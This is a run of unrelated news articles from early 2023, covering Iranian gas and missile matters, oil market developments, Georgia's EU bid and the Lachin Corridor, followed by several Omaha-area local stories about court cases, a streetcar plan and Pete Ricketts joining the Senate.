To recap at this point on why the South Pars gas field is so important in the world of gas and why the Phase 11 project is such an important part of that - it should be remembered that South Pars is one part of the two parts that comprise the 9,700-square kilometre gas basin that forms the worlds largest gas field by a very long way. This entire gas reservoir holds an estimated 51 trillion cubic metres (tcm) of non-associated natural gas and at least 50 billion barrels of natural gas condensates. Qatars 6,000 square kilometre section  the North Field (or North Dome)  is the cornerstone of the Emirates world-leading liquefied natural gas exporter status. Irans 3,700 square kilometre section  South Pars  holds an estimated 14.2 tcm of gas reserves in place plus 18 billion barrels of gas condensate. South Pars already accounts for around 40 percent of Irans total estimated 33.8 tcm of gas reserves (mostly located in the southern Fars, Bushehr, and Hormozgan regions) and about 80 percent of its gas production.

Related: Iran Claims Panama Oil Tanker Cancellations Were Politically Motivated

After the signing of the JCPOA by the P5+1 group of nations (the U.S., UK, France, Russia, and China, plus Germany) on 14 July 2015, there was a scramble of international oil companies to sign agreements for the various Phases of the South Pars development, with the first big Phase in focus after the deal had been done being Phase 11. The Phases original target production capacity was 57 million cubic metres per day (mcm/d) of gas  around 335,000 barrels of oil per day  although the first part of the Phase would target around one fifth of this volume.

Frances then-Total (now TotalEnergies) held a 50.1 percent stake in the US$4.8 billion Phase 11 project and had already invested around US$1 billion into it when the U.S. pulled out of the JCPOA, and the French firm subsequently pulled out of the project. At that point, China National Petroleum Corporation (CNPC) automatically took over Totals stake (of 50.1 percent)  as automatically occurred in the terms of the contracts - to add to its existing 30 percent stake. The remaining 19.9 percent stake was held by Petropars.

Unfortunately for Iran, that time in 2018 also saw the increased personal interest of then-President Donald Trump in China, as indicated in the first instance when the U.S. imposed 25 percent tariffs on a further US$16 billion of Chinese goods on 23 August 2018. The newly reimposed U.S. sanctions on Iran and Trumps personal increased scrutiny on China meant that Beijing focused more on those projects for which it had the most need - in Iran, this was oil from the big fields to power its economic growth. Beijings interest in those projects for which its needs were less pressing, notably including the South Pars Phase 11 gas project, diminished markedly. A further negative factor for China in this context was that it could not rebrand Iranian gas from South Pars as Iraqi gas, as it could in the case of much of its Iranian oil imports, as the South Pars gas reservoirs is not shared with Iraq as so many of Irans oil field are, as analysed in depth in my last book on the global oil market.

An understanding was reached between Beijing and Moscow that Russia would take up where it had left off elsewhere in Iran by dint of seven agreements in the oil and gas sector made just after the U.S. withdrawal from the JCPOA, and provide support for Irans own efforts on SP11 until such time as China could fully re-engage in the project. Beijing envisaged that this would occur after Trumps presidency ended, whenever that might be. According to Trumps National Security Advisor, John Bolton, it was former President Barack Obamas Secretary of State, John Kerry, who advised Iran to stay in the JCPOA deal and just wait it out until Trump was no longer president.

The preparations for this were laid by Russia and Iran just over one month before Russia invaded Ukraine when Iranian President, Ebrahim Raisi, visited his counterpart in Moscow, the first visit of an Iranian president to Russia in almost five years. According to comments from Irans Petroleum Minister, Javad Owji, several parts of the rolling 20-year cooperation deal between Russia and Iran that related to the development of oil and gas fields, the construction of refineries, and technology transfer were signed. This groundwork was then augmented by a reciprocal visit to Tehran in July 2022 by Putin that set the seal on a US$40 billion wide-ranging memorandum of understanding (MoU) signed between the National Iranian Oil Company (NIOC) and Russian gas behemoth, Gazprom.

In this, Gazprom pledged its full assistance to the NIOC in the US$10 billion development of the Kish and North Pars gas fields with a view to their producing more than 10 million cubic metres of gas per day. The MoU also detailed a US$15 billion project to increase pressure in the supergiant South Pars gas field on the maritime border between Iran and Qatar. Gazprom further pledged assistance in the completion of various liquefied natural gas projects and the construction of gas export pipelines.

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The problem with this, a senior source in the European Unions energy security apparatus exclusively told OilPrice.com last week was that the invasion of Ukraine did not prove to be as quick and easy and affair as Putin had intended. [Putin] thought it would be over within a week and then it would be business as usual, but when Ukraine didnt just fold up and then the U.S. and Europe got behind Kiev Putin found he was dealing with a NATO Mark Two plus economic sanctions on Russia as well, he said. Russia now has nothing to give Iran  no machinery or technology or manpower thats any good, and no financing  just promises of the delivery of military items, like an upgraded S-300 [missile defence system] and the Sukhoi 35s [fighter jets], and even if they finally honour their promises it is not going to help Iran get more gas out of South Pars, he concluded.

By Simon Watkins for Oilprice.com

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As Russias war against Ukraine approaches its second year, several news outlets have reported that Moscow is eyeing two Iranian missile systems in particular as solutions to its missile shortages: the Fateh-110 and Zolfaghar (The Kyiv Independent, November 12, 2022). The main reasons for acquiring these missiles are availability, cost and survivability. Potentially receiving critical military technology in return (e.g., the Su-35), Iran has been more than generous in supplying Russia with the weapons systems it needs in Ukraine (Tasnim News Agency, January 15). The unit costs for Iranian missiles are much lower when compared to Russias Kalibr cruise missiles. Besides, the latter has become vulnerable to advanced air defense systems such as the National Advanced Surface-to-Air Missile System, or NASAMS, and even Man-Portable Air-Defense Systems (MANPADS) on some occasions, which has pushed the Kremlin to seek alternatives (Twitter.com/TDF_UA, October 10, 2022).

When it comes to Irans strategic ballistic missile program, many defense analysts and policymakers in the West have been stuck in a military fallacy for years (Sipri.org, April 2017). Arguing that Tehrans missile program is more of a nuclear deterrence asset, these professionals miss out on the historical fact that Iranian missiles have been actively used in battle. The Iran-Iraq War of the 1980s marked Tehrans first strikes (e.g., against Baghdad and the oil-rich city of Kirkuk) outside Iranian territory (The Iran Primer, February 17, 2021). Another prominent example came in 2017, when Tehran launched a medium-range missile attack on Islamic State positions in eastern Syrias Deir ez-Zor region (Tasnim News, June 19, 2017).

Irans Islamic Revolutionary Guard Corps (IRGC) has also transferred Iranian ballistic missile systems to allied proxy groups across the Middle East, such as the Houthis in Yemen and Hezbollah in Lebanon (Iran International, December 26, 2022). Besides arming its proxy groups, Iran has also been sharing its missile technology with rogue states, including North Korea, since the 1980s (YouTube, February 10, 2021). This history demonstrates that Tehrans ballistic missiles are not designed to solely provoke fear in the Persian Gulf Arab countries and Israel. Rather, they are to be used opportunistically within conflict regions throughout the world. Among these regions, Iranian ballistic missiles could indeed be used on the Ukrainian battlefield in coming weeks, as Moscow is seeking additional missiles, such as Irans Fateh-110 missile, to counter Ukraines heightened air defense capabilities.

Iranian missiles in this category have a much shorter range, from 300 to 700 kilometers (km), than some of the loitering munitions Tehran has already sent to Moscow (e.g., the Shahed-136 unmanned aerial vehicle). However, due to the speed and large combat payloads of these missiles, they still represent a great challenge for Ukraines air defense systems. The solid-propellant Fateh-110 derivatives also have a much shorter launch time, which means more frequent attacks in a shorter timeframe, putting the Ukrainian interceptors under heavy pressure (The Drive, October 18, 2022). These missiles are road-mobile, which provides increased flexibility and the ability to avoid counter-battery fire. Notably, in terms of design, the Fateh-110 missiles and derivatives follow a tilted, quasi-ballistic trajectory, which is a challenge for air defense systems. Therefore, the size of the warhead, the difficulty for opposing air defenses to intercept and the trajectory these missiles follow present quite different threats than those posed by Russian cruise missiles and Iranian loitering munitions.

Open-source intelligence suggests that, at present, the military aid packages Tehran has sent to Moscow do not include missiles, but draft agreements for such transfers do exist (Tsn.ua, November 30, 2022). However, it will most likely not be until the fall of 2023 that these talks materialize, as Iran is currently still subjected to the restrictions placed on it by the United Nations Security Council Resolution 2231, authorizing the Joint Comprehensive Plan of Action. The document includes a key clause that restricts the exporting of Iranian missiles and drones with a range greater than 300 km (Securitycouncilreport.org, December 8, 2021). Yet, this restriction will be lifted in October 2023, when the clause expires. After that, freed from its UN-imposed restriction, Iran could possibly send some of its most sophisticated missile systems, such as the Fateh-110 derivative and the 700-km-range Zolfaghar to Russia. Iran has already been sending threatening messages to the West (Iranwire, October 20, 2020) and would not shy away from sharing its missile systems with Russia, especially under such relaxed circumstances (Iran International, November 11, 2022).

Although sophisticated systems such as the NASAMS have significantly boosted the interception rate against hostile loitering munitions and missiles, Ukrainian air space is too big to be defended solely with NASAMS and Patriot air defense systems. As such, the potential arrival of Iranian missiles could both undermine Kyivs morale and its ability to fight. Overall, it will pose an imminent risk to population centers and critical energy infrastructure.

Expecting a fast and decisive victory, the prolonged battle in Ukraine caught Russia by surprise. Amid a high-tempo conflict, Russias missile arsenal is depleting fast. In this regard, Irans missile and drone solutions provide the Kremlin with the perfect alternatives. In the past few months, the infamous Shahed-136 loitering munitions and Soviet-made cruise missiles proved to be more effective and affordable compared to advanced assets like the Kalibr. Yet, due to their flight trajectory and large warheads, ballistic missiles will be a much more destructive threat. Up until now, Ukrainian air defense systems have been effective against cruise missiles, combat drones and loitering munitions to a considerable extent. In the October 2022 strikes, the interception rate against Russian cruise missiles stood at around 64 percent (The Kyiv Independent, November 4).

However, ballistic missile defense is a different game, and a much harder one to crack. Combined with the countrys limited military resources, the destructive potential of Iranian ballistic missiles would be a significant disadvantage for Ukraine. Providing a successful defense against these missiles will be tricky. At present, the most effective system that can assist Ukraine in this regard is the Patriotand though transfer has been confirmed, they have yet to be delivered. Famed for its successful performance in various conflict zones, the Patriots have been quite successful in the protection of critical national infrastructure. However, they are not a magic bullet for Ukraines air defense. To begin with, the number of Patriot batteries in the US inventory is limited, as many Patriots are already forward deployed in high-threat regions such as the Indo-Pacific. Furthermore. The size of Ukraines air space poses particular problems (Nato.int, 28, 2022). The country has one of the largest air spaces in Europe, making all-encompassing air defense extremely difficult. In addition, Ukraines critical national infrastructure is dispersed throughout the country, creating another hardship.

In a prolonged war and possible renewed Russia offensive in the coming months, the West should refrain from considering Ukraines security through a solely defensive lens. Especially in the context of the impending Iranian ballistic missile threat, NATO should provide Kiev with counteroffensive capabilities that can match Iranian ballistic missiles. These would come with the transfer of offensive systems such as ATACMS. Solutions exist, but the clock is ticking, and these decisions must be taken sooner rather than later.

By the Jamestown Foundation

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The Dalia offshore oilfield in Angola, which pumps 200,000 barrels per day (bpd), is set to undergo planned maintenance for more than a month beginning on February 20, a spokesperson for the operator of the field, French supermajor TotalEnergies, told Reuters on Tuesday.

The maintenance, which is expected to last for 35 days, will significantly reduce oil supply from Angola to the international markets. Only 30 cargoes  an unusually low number  are set to depart from Angola in March, according to Reuters. Angola may not export any Dalia crude in March because the field production will need to be shut down to complete the works, traders told Reuters.

The maintenance on the Dalia oilfield will include inspections of the equipment and subsea lines and works relating to flare tips, according to TotalEnergies.

The Dalia field maintenance will reduce Angolas crude oil production for at least a month. Output from the African OPEC member is already well below its targeted production under the OPEC+ agreement, even with the cuts that the alliance initiated in November 2022.

Angolas crude oil production averaged just 1.015 million bpd in December, down from 1.026 million bpd for November, according to secondary sources in OPECs latest Monthly Oil Market Report (MOMR). To compare, Angolas target production under the OPEC+ deal is 1.455 million bpd until December 2023 or until OPEC+ decides otherwise.

The reduction of supply from Angola will come at a critical time for the global oil market, just after the EU ban on imports of Russian refined oil products by sea will have come into force. The oil and diesel markets are bracing for a chaotic February after the EU ban takes effect on February 5.

Europes diesel market reached a two-month high on Monday, with the ICE gasoil contract trading above $1000 per ton, driven by the EUs ban on seaborne imports of Russian fuel products from February 5, and increased demand for jet fuel as travel continues to recover, Saxo Bank said on Tuesday.

By Tom Kool for Oilprice.com

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The White House may cancel a scheduled sale of crude oil from the strategic petroleum reserve this year, Energy Intelligence has reported, citing unnamed sources.

According to the report, the sale concerns 26 million barrels of SPR oil that were scheduled to be sold by September this year. Energy Intelligence notes that these are not sales under the 180-million-barrel release program the White House announced and carried out last year in a bid to stabilize prices at the pump.

These are sales mandated by Congress, and the news of the cancellation follows the cancellation of sales of another 140 million barrels of SPR crude previously planned for the period 2023 to 2027.

Meanwhile, the administration is hitting back at Congress legislation sponsored by Republicans, aiming to stop the administration from selling oil from the strategic petroleum reserve until U.S. oil production on federal lands increases.

Earlier this week, Energy Secretary Jennifer Granholm said that the White House would veto the legislation if the House, where Republicans have a majority, passes it. The House is set to vote on the legislation this week, Reuters reported.

He will not allow the American people to suffer because of the backwards agenda that House Republicans are advancing, Granholm told media, referring to President Biden and the Republican SPR sale block bill.

We would like to curtail use of the SPR for only those situations where theres a severe supply interruption, a Republican aide to the House Committee on Energy and Commerce said, as quoted by Reuters.

According to Energy Intelligence, however, there will be few opportunities to vote on the Republican bill soon enough to be able to cancel the already scheduled sales. In the meantime, the question remains when the administration will begin replenishing the SPR after the 180-million-barrel emergency drawdown from last year.

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In all likelihood, the replenishment would have to wait because WTI just topped $80 per barrel, and thats quite a bit above the price range set by the White House for the intended replenishment purchases.

By Irina Slav for Oilprice.com

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Freeport LNG on Monday confirmed for Oilprice.com that repairs had been completed at its liquefied natural gas export facility, which has been offline since June, and that a request to restart by introducing LNG to the piping system had been filed with regulators.



In the regulatory filing, Freeport LNG asked regulators for a response to their restart request by Tuesday.

The Texas-based Freeport LNG export terminal has been offline since a June explosion and subsequent fire.

Rystad Energy is speculating that Freeport LNG will not be able to restart until March.

In a statement to Rigzone last week, Rystad Energy Vice President Emily McClain, said Freeport LNGs restart will support U.S. LNG exports this year, but the timing remains uncertain. With regard to a full ramp-up, McClain said it was not expected until mid-year.

Speculation, however, remains just that, with Freeport LNG sticking to its original timetable.

On January 11, Freeport LNG told Oilprice.com that there was no change to our restart timeline. We are still targeting the second half of this month for the safe, initial restart of our liquefaction facility, pending regulatory approvals.

Freeport, responsible for some 20% of total LNG exports from the United States and generating $35 billion in revenue during the first nine months of 2022, served Europe well last year as the continent looked to squelch a growing energy crisis this winter.

The pending restart comes as natural gas prices rebounded slightly on Monday with a 10% jump, but only after shedding over 7% last week and over 50% over the past four weeks, prompting the CEO of Chesapeake to warn that the industry may have to moderate supply growth.

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Demand for natural gas is declining from its peak last year, prompted by Europe. However, with European storage full and winter proving much milder than anticipated, demand is dragging.

By Charles Kennedy for Oilprice.com

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Georgias government says the country has made important progress towards meeting the European Unions conditions to become a membership candidate, but critics say Brussels key demands remain unmet.

Last summer, while granting Ukraine and Moldova candidate status, the EU promised Georgia the same only after it met 12 conditions laid out by the European Commission. Half a year later, many acknowledge progress on some reforms, but there is disagreement on whether this will be enough to reverse the previous failure.

"There is clearly a lot of progress on some priorities, while work on others will continue. We are watching this very closely," Pawel Herczynski, EU ambassador to Georgia, told reporters last week as he was holding meetings with heads of parliamentary committees. "By the end of the year, the progress will be assessed first by the European Commission, and then the decision will be taken by the leaders of the 27 member states."

The ambassador refused to discuss problem areas, noting work was still underway.

The EU's decision to defer Georgian candidacy was widely attributed to the democratic challenges and deep political polarization Georgia has faced over the years. The European Commission, the EU's executive arm, is expected to reassess the country's progress in October, after postponing the initial deadline that fell at the end of 2022.

Ahead of the new year, Parliament Chairman Shalva Papuashvili reported on progress made by the legislative body in its fall session toward addressing the priorities.

Papuashvili marked most of the reforms as fully implemented, while others were pending or awaiting recommendations from relevant international bodies. According to his list, the most progress had been made on the implementation of European Court of Human Rights judgments, the fight against organized crime, strengthening parliamentary oversight, anti-corruption, election laws, and gender equality.

"Looking forward to working closely with parliamentary political parties to finalize the remaining reforms as well as with the European Union in 2023 on the assessment process to secure a well-deserved EU candidate country status for Georgia," Papuashvili said in his December 29 tweet.

But the government's opponents and some of the watchdogs that track progress do not share Papuashvili's optimism.

A 54-page research document recently published by Georgia's Reforms Associates (GRASS), a Tbilisi-based think tank, said six out of 12 recommendations "have not been fulfilled." Three out of the remaining six, GRASS says, were partially fulfilled, two others were "largely fulfilled," and only one demand was "fully" met.

The ruling Georgian Dream party has failed to address "the most important, fundamental issues, such as depolarization, deoligarchization, big institutional reforms, judiciary, media-related issues," Sergi Kapanadze, founder of GRASS told reporters on January 18.

The ruling party did draft bills on judicial independence, widely regarded as Georgian democracy's Achilles heel, and deoligarchization, probably the most controversial of all the EU demands. The bills are now awaiting assessments from international advisory bodies  the Venice Commission and the OSCE's Office for Democratic Institutions and Human Rights (ODIHR).

But the bills have met criticism for not serving their true ultimate purpose. For example, Georgian Dream largely copied Ukraine's anti-oligarchy laws, arguing that they followed Brussels-lauded foreign practices, while opponents claimed the bill was tailored to spare Georgian Dream founder and billionaire Bidzina Ivanishvili, whom they see as the country's sole oligarch.

In terms of media freedom and protection of vulnerable groups, critics have pointed to the continued failure of authorities to bring to justice those responsible for organizing the 2021 anti-LGBT attacks that left dozens of people injured, most of them journalists; one journalist died shortly afterwards.

The biggest remaining challenge is number one on the list of the EU's priorities: ending the country's deep-seated political polarization. Despite some attempts by the ruling party and the opposition to cooperate on reforms, the discussions remain, well, polarized.

One area where that is obvious is the process of electing a new public defender (ombudsperson), another EU priority that requires ruling-party-opposition consensus. The process is locked in a stalemate as the ruling party refused to back any of the three candidates picked by civil society groups and the opposition, and instead presented its own five candidates.

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Work on choosing a public defender will resume when the parliament's spring term convenes in February.

While nobody expects all 12 priorities to be fully addressed, the main question is how much progress on democratization will be enough for Brussels to reverse its earlier decision.

"There should not be some expectation that the European Union will make a purely geopolitical decision," Vano Chkhikvadze, who works on Georgia-EU relations for the Open Society Georgia Foundation, said last week, warning that Georgia's newfound geopolitical significance as an energy corridor with Europe may not outweigh failure to deliver progress on key priorities.

The EU is not expected to give any clear signs before the European Commission delivers its final assessment in October.

While Georgias candidacy in areas of economy and finance is thought to be stronger than Moldovas and Ukraines, the country lags when it comes to justice and human rights, areas to which Brussels "pays special attention," wrote RFE/RL Europe editor Rikard Jozwiak this month. "This means that although Tbilisi has a good level of compatibility with the EU in many areas, overall it is still in third place on the long path to Brussels."

By Eurasianet.org

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Uganda has commenced drilling operations on its first commercially viable oil operation, a Uganda Ministry of Energy and Mineral Development spokesperson said on Tuesday.

The East African country said it had commissioned the first of four planned rigs in the discovery, and started drilling the countrys very first commercial well in hopes of reaching first production by 2025.

The Kingfisher oilfield in the Kikuube district is a CNOOC-operated field, but co-owned with TotalEnergies and Ugandas state run oil company, UNOC. The project has suffered numerous delays after Uganda discovered the reserves almost 20 years ago. But a lack of pipeline infrastructure in the country has, until now, proved to be an insurmountable hurdle.

The head of the state-run petroleum sector regulator Petroleum Authority of Uganda, Ernest Rubondo, described the progress on the fields as a milestone in the journey toward the production of first oil in Uganda.

Breakeven costs are expected to be $22 per barrel, with peak production expected at about 230,000 barrels per day.

Construction will also start this year on the nearly 900-mile East Africa Crude Oil Pipeline, also planned by CNOOC and TotalEnergies, which has been described as the worlds longest heated oil pipeline. It, too, should be complete by 2025. Total holds a 62% stake in the pipeline project, with UNOC and CNOOC carrying 15% each.

The project has received pushback from EUs parliament last year, which called for a maximum pressure campaign against the project on Ugandan authorities to protect the environment and to put an end to the extractive activities in protected and sensitive ecosystems, including the shores of Lake Albert.

Uganda is also looking to develop its refinery business, with a 60,000 bpd refinery expected to be built in Ugandas mid-west, although has suffered numerous delays as well.

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By Julianne Geiger for Oilprice.com

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U.S. Secretary of State Antony Blinken has urged Azerbaijani President Ilham Aliyev to reopen Nagorno-Karabakh's land link with Armenia, warning that a blockade of the corridor could undermine peace efforts between the two countries.

Blinken spoke by telephone with Aliyev "to urge an immediate reopening of the Lachin Corridor to commercial traffic," State Department spokesman Ned Price said in a statement on January 23.

"He underscored that the risk of a humanitarian crisis in the Lachin Corridor undermined prospects for peace between Armenia and Azerbaijan," the statement added.

Blinken last week also spoke with Armenian Prime Minister Nikol Pashinian and voiced "deep concern for the worsening humanitarian situation in Nagorno-Karabakh" due to the blockage of the corridor.

Government-backed Azerbaijani protesters identifying themselves as environmentalists have blocked a section of the sole road connecting Karabakh to Armenia since December 12 and are demanding that Baku be allowed to inspect "illegal" ore mines in Karabakh. Some activists have also called for the Russian peacekeepers to be replaced with an international force.

The Azerbaijani side insists that the road is open for humanitarian cargo, emergency services, and peacekeepers.

Armenia has called the blockade a gross violation of the Russian-brokered agreement from November 2020 that suspended more than a month of intense fighting in the decades-old Armenian-Azerbaijani conflict over the Azerbaijani territory of Nagorno-Karabakh and surrounding districts.

That cease-fire ushered in a deployment of about 2,000 Russian peacekeepers to the area and joint monitoring of the situation with longtime Azerbaijani ally Turkey.

Close to 7,000 people died on both sides during the 2020 war that ended with Baku's regaining control of a big part of the region and seven adjacent districts that had been under ethnic Armenians' control for three decades.

Earlier on January 23, the European Union said its had agreed to establish a civilian mission to Armenia to help improve security in the border area and ease tensions with neighboring Azerbaijan.

The mission, which was requested by Armenia will "conduct routine patrolling" in border areas to "strengthen the EU's understanding of the situation on the ground," the EU said in a statement, adding that the mission had a two-year mandate.

"The EU will continue to support de-escalation efforts and is committed to work closely with both sides towards the ultimate goal of sustainable peace in the region," EU foreign policy chief, Josep Borrell said.

Armenia welcomed the EU decision, with Foreign Minister Ararat Mirzoyan saying that it "will contribute to peace, stability and security in the region."

"We will readily cooperate with the mission and support its activities," Mirzoyan said on Twitter.

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There was no immediate reaction from Azerbaijan.

Earlier in January, Aliyev blasted the EU's plans to again monitor the border area from the Armenian side without Baku's consent. Aliyev said such a move "will not improve security" and will only complicate further EU mediation of Armenian-Azerbaijani peace talks.

By RFE/RL

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A former Waterloo firefighter was sentenced Monday to three years in prison for attempted second-degree sexual assault.

Brandon Hanusek, 28, pleaded no contest in September to the amended charge as part of a plea deal. He originally was charged with first-degree sexual assault on a person who was physically or mentally incapable of consenting, stemming from an incident in February 2021 in which 28-year-old Kelsey Imhof alleged Hanusek drugged and raped her.

Under the original charge, Hanusek would have faced up to 50 years in prison.

Imhof told The World-Herald in October 2021 that she had met Hanusek over Facebook when he sent her a friend request. The two didnt know each other, but they were in the same Steamfitters and Plumbers Local 464 union.

They made plans to meet up at a bar along with three co-workers, one of whom was Imhofs friend. On Feb. 26, 2021, they went to Holiday Lounge near 79th Street and West Dodge Road, where Imhof said she had 1 drinks. They then went to Harolds Bar near 85th and Blondo Streets, where she had one drink that Hanusek bought for her.

One of the co-workers left his credit card at Holiday Lounge, and Imhof offered to go get it for him. Hanusek drove. Imhof said that she began to feel drunk while at the Holiday Lounge and remembered playing shuffleboard upon returning to Harolds, but couldnt remember anything else about the evening until she woke up naked and violently vomiting in Hanuseks bathroom.

It was between 2 a.m. and 4 a.m. when Imhof woke up covered in bruises, unable to stand up for hours due to her calves spasming and in extreme vaginal and anal pain to the point that she thought she was bleeding from her rectum. Imhof thought that she had been drugged.

Imhof emerged from the bathroom after about two hours and saw Hanusek passed out on the couch. After getting dressed in a bra and underwear, she locked herself in the bathroom and continued to vomit every 5 to 10 minutes until she felt well enough to leave in the early afternoon.

Hanusek told Imhof, and later told investigators, that he blacked out and didnt remember what had happened that night. He said he had attempted to take Imhof home, but her door was locked and her garage keypad wasnt working. Imhof said she did not lock her door and did not have a keypad on her garage.

After confiding in her sister, Imhof went to the hospital and completed a rape kit on Feb. 27, 2021. Hanusek willingly provided his DNA to police, which matched that collected in the rape kit.

Marcus Sladek, Hanuseks attorney, argued that Hanusek was a strong candidate for probation, noting he has a very minor criminal history and scored at a low to medium risk for reoffense. Many family members also wrote letters of support for Hanusek, which the judge noted.

In a short statement, Hanusek said that he hopes that Imhof finds peace and that he never intended to hurt her.

I still dont believe that this case represents who I am, he told the court.

Prosecutor Amy Jacobsen argued that releasing Hanusek on probation would depreciate the seriousness of the crime. She said that Hanuseks criminal history and personal attributes were irrelevant considering the violent nature of the offense.

I often wonder what people would say in these letters if they saw the pictures that I see, Jacobsen said in reference to the letters of support for Hanusek. This was an assault. You dont get your first sexual assault free in Douglas County just because youve had a good life.

Judge Jeffrey Lux agreed. In handing down the maximum sentence, Lux said that he thinks that Imhof was incapable of consenting that night. He indicated that he wasnt persuaded by Hanuseks claims that he couldnt remember anything that happened, and noted the numerous terrible photos showing the bruises on Imhofs body.

Quiet sobs echoed through the courtroom on Imhofs side of the gallery as Lux read the sentence.

After the sentencing, Imhof said, While in the most uncomfortable situation I have endured, Judge Lux made me feel more heard, and more human, than anyone in the justice system has throughout such a long, devastating process. Given so many unfortunate events, I feel todays sentence was the best possible outcome and Im relieved to have regained some faith in our justice system.

Hanusek will serve a year and a half in prison under Nebraskas good-time law. He will be required to register as a sex offender.
The Omaha City Council will consider a resolution Tuesday that would pay an Omaha firefighter more than $250,000 to settle claims of sexual harassment and retaliation.

Hunter Mathieu, who began her career as a firefighter in 2018 and was promoted to fire apparatus engineer in early 2022, filed claims in 2021 and 2022 that the Fire Department retaliated against her and failed to investigate in a timely manner after she reported sexual harassment.

Details about the allegations made by Mathieu are scarce because complaints were filed with the Nebraska Equal Employment Opportunity Commission, which are not public record.

The city admits no fault in the settlement agreement and continues to deny the allegations. However, the agreement states that an independent administrative investigation into Mathieus complaints confirmed that violations of Omaha Fire Department policy occurred.

The settlement will provide Mathieu with a lump sum payment of $253,000 to cover alleged damages and legal fees. She will be placed on administrative leave until December and be paid her full salary and benefits. When the administrative leave ends, the agreement stipulates that Mathieu must voluntarily resign, although she can apply to be rehired.

Reached by phone Monday, Mathieu said she did not wish to comment on the settlement.

A public hearing and vote to approve the settlement will be held at Tuesdays City Council meeting.

Our best Omaha staff photos & videos of January 2023
Omaha will look to partner with Portland, Oregon, in its search for a streetcar vehicle manufacturer.

An agreement approved by the Omaha Streetcar Authority on Monday puts into writing the intent of both cities to work together on their procurement of streetcar vehicles.

The agreement, a memorandum of understanding, is nonbinding, but sets in motion a series of events that will need to happen over the course of 2023 to keep the streetcar on track to open in 2026.

A considerable amount of cost is spent on evaluating the professional proposals and inspecting the (manufacturing) plants all the way through production, said Rick Gustafson, interim director of the authority. We can do this cooperatively to share resources and reduce our costs.

Omaha estimates purchasing six vehicles. Portland expects to purchase 11.

The Streetcar Authority plans to decide on vehicle specifications by March, and issue a request for proposal to potential manufacturers over the summer.

If all goes as planned, the first streetcar vehicles would be delivered to Omaha in July 2025. The streetcar system would open for operation in 2026.

The Streetcar Authority was created last year to oversee the design, construction and eventual operation of the streetcar.

The board is made up of seven members: three appointed by the mayor and approved by the City Council, three appointed by Metro Transits CEO and one community member appointed by the Greater Omaha Chamber.

The streetcars planned route runs east along Harney Street and then turns north along 10th Street up to about Cass Street near the CHI Health Center. The streetcars then would head back south on 10th to Capitol Avenue.

From there, the route would run a couple of blocks east to Eighth Street near the citys riverfront before turning west onto Farnam Street. The cars then would travel to the routes western terminus at 42nd Street near the University of Nebraska Medical Center.

Construction of an Omaha streetcar system is tied to Mutual of Omahas plans to build a $600 million headquarters on the former site of the W. Dale Clark library, which was demolished late last year.

Mutual officials have said the streetcar system is critical to their plans to construct the companys headquarters. Mutual is scheduled to break ground on the tower Wednesday.

Our best Omaha staff photos & videos of January 2023
Former Gov. Pete Ricketts, R-Neb., was sworn in as a member of the U.S. Senate on Monday, officially taking the seat formerly held by former U.S. Sen. Ben Sasse.

Ricketts family, including his wife, Susanne Shore, watched from the Senate gallery as he was sworn in by Vice President Kamala Harris. New Nebraska Gov. Jim Pillen appointed Ricketts to replace Sasse, who left to become president of the University of Florida.

There is no higher honor than serving the people of Nebraska, and representing my fellow Nebraskans in the Senate is an incredible privilege, Ricketts said in a statement released by his office.

The former governor was congratulated by Republicans and Democrats on the Senate floor. As is tradition, he was accompanied by Republican Sen. Deb Fischer of Nebraska as he walked down the main aisle and stood at the Senate dais to take the oath of office, according to the Associated Press.

Sen. Mitch McConnell, the Republican leader, praised Ricketts service in Nebraska and said the wealthy investor has applied private sector savvy to the work of public administration with great effect.

The people of Nebraska chose wisely in electing and reelecting Gov. Ricketts by huge margins, and their new governor chose wisely in sending his predecessor here to this chamber.

The ceremony was a final formality in Ricketts long journey to the U.S. Senate. Nebraska voters had denied him at the polls in 2006. The campaign of then-U.S. Sen. Ben Nelson, the incumbent Democrat, branded Ricketts as Wall Street Pete and defeated him by 28 percentage points, despite Ricketts pouring more than $12 million of his own money into the campaign.

After that loss, Ricketts remained active in state Republican politics and created a new image and political network that paved his path to success. He won the position of national committeeman for the Nebraska Republican Party. He invested heavily in legislative races, backing Republican candidates in races across the state. The statewide GOP popularity that Ricketts began building back then helped him win the governors race in 2014 and glide to reelection in 2018.

Ricketts heavily supported Pillen in his 2022 campaign for governor. Ricketts gave Pillens campaign $100,000 directly in January. And the outgoing governor, who was barred by term limits from seeking reelection, gave more than $1.4 million to a political action committee, Conservative Nebraska, that ran attack ads against Pillens main GOP challengers, Charles Herbster and Brett Lindstrom.

After Sasse emerged in November as the likely president of the University of Florida, Ricketts said he wouldnt appoint himself to the Senate but would apply and leave the appointment to his successor. The appointee was widely expected to be Ricketts. Pillens eventual appointment of his predecessor and political supporter was applauded by many, but also drew criticism from Nebraska Democrats and some Republicans.

Pillen repeatedly denied his selection of Ricketts was predetermined, and has said Ricketts campaign support played no role in his appointment. Pillen went through a process of taking applications for the seat and interviewed nine applicants, but said Ricketts was the person for the job and the very, very obvious choice.

In announcing he would appoint Ricketts, Pillen said he had looked for someone who would represent the values and ideology important to Nebraskans, have a servants heart for public service and be a God-fearing person of incredible faith. Pillen said he also looked for someone who believes in fiscal accountability and less government and understands the importance of agriculture in Nebraska.

An election will be held in 2024 to fill the remaining two years of Sasses term. The seat now held by Ricketts will be up for election again in 2026. Pillen has said Ricketts assured him he would run in 2024.

Hes committed to this seat, and he and Susanne are committed to winning elections for a minimum of 10 years, Pillen said when he announced his appointment of Ricketts.

Ricketts said Monday that hes looking forward to working with Fischer and the rest of Nebraskas congressional delegation to reduce taxes, defend our freedoms, expand trade partnerships for our ag producers, stand up to the Chinese Communist Party, strengthen our national defense, and make government work better.

This report includes material from the Associated Press.

Photos: Jim Pillen appoints Pete Ricketts to the Senate
HARTINGTON, Neb.  The 43-year-old woman charged with murder in connection with the slayings of four people in Laurel made her first district court appearance Monday.

Carrie Jones has been charged with one count of first-degree murder, tampering with evidence and being an accessory to a felony. In Cedar County District Court on Monday, Jones requested a preliminary hearing to be held in front of a county court judge. The judge will determine if probable cause exists for prosecutors to try her case in district court.

Jones is being held at the Antelope County Jail on $1 million bail. Her preliminary hearing is set for Feb. 15.

Jones case was filed directly to district court by the Nebraska Attorney Generals Office on Dec. 16.

Jones and her husband, 42-year-old Jason Jones, both are charged in connection with the deaths of Gene Twiford, 86, and his wife, Janet Twiford, 85; their daughter, Dana Twiford, 55; and Michele Ebeling, 53.

Jason Jones is being held without bail in Lincoln. He faces four counts each of first-degree murder and use of a firearm to commit a felony, plus two counts of first-degree arson.
